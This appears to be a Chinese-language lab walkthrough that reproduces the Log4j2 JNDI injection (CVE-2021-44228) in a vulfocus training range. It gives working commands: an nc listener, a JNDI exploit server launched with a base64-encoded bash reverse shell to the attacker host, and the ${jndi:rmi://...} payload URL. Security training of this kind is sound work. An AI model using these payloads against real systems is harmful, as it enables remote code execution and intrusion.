Log4j2 漏洞复制 (CVE-2021-44228)
一、原理介绍
由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
二、vulfocus靶场安装
- docker pull vulfocus/vulfocus:latest
- docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.137.11 vulfocus/vulfocus
启动docker-compose up -d
启动vulfocus
192.168.137.11 用户名admin 密码admin
三、vulfocus靶场启动log4j2场景
1、下载log4j2镜像
注:需要在镜像管理进行添加CVE-2021-44228 log4j2
2、然后启动该log4j2容器
3、启动之后访问该地址
访问地址:192.168.137.11:44157
四、利用攻击机kali(ip为192.168.137.137) 开始nc监听7777端口
在进行漏洞注入之前,需要准备下载一些组件JNDI、maven。
在github上下载jar包,压缩包解压放到攻击机kail上。
接着下载maven组件,apt-get install maven 安装maven,相当于编译器,编码JDNI里的jar包
下载好的JNDI组件,并进入dndi子目录,使用mven将JDNI编译jar包
五、切换到jndi目录下的target子目录下。利用jndi注入工具在攻击机上开启jndi服务器。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMzcvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.137.137
这个安装在kali上面的jndi服务器是利用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar来启动起来的,启动参数包括-C是执行的bash命令,-c参数后面是执行的具体命令,用双引号引起来 -A 指服务器的IP。
注:已经把反弹shell命令用base64编码啦
bash -i >& /dev/tcp/192.168.137.137/7777 0>&1
执行命令之后 生成可用payload
六、利用payload开始攻击,获得反弹shell
利用生成的第一个payload
访问网址 出现ok
192.168.137.11:44157/hello?payload=$%7bjndi:rmi://192.168.137.137:1099/gquwrn%7d
监听界面出现如下提示表明获得反弹shell
七、成功获取flag值,提交flag值。
八、来到vulfoucs平台首页,在log4j2-CVE-2021-44228提交所得的flag。
推荐阅读
-
用友 NC uapjs RCE 漏洞复制 (CNVD-C-2023-76801)
-
Thinkphp 5.x 完整漏洞复制分析
-
Netcom NS-ASG 应用程序安全网关 SQL 注入漏洞复制(CVE-2024-3458、CVE-2024-3457、CVE-2024-3456、CVE-2024-3455)
-
稻草人 (dcrcms) 企业站模板 - 漏洞审计复制
-
CMS 简易注入漏洞 (CVE-2019-9053) 分析复制与利用 POC
-
[漏洞复制] DataEase 数据可视化分析工具 SQL 注入 - CVE-2023-40771
-
在 vulhub 中复制 Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)
-
Apache Log4j2 Jndi RCE CVE-2021-44228 漏洞模式解析
-
vulhub 中的 Apache Solr 远程命令执行漏洞复制 (CVE-2019-0193)
-
Fastjson 1.2.47 远程命令执行漏洞 复制分析环境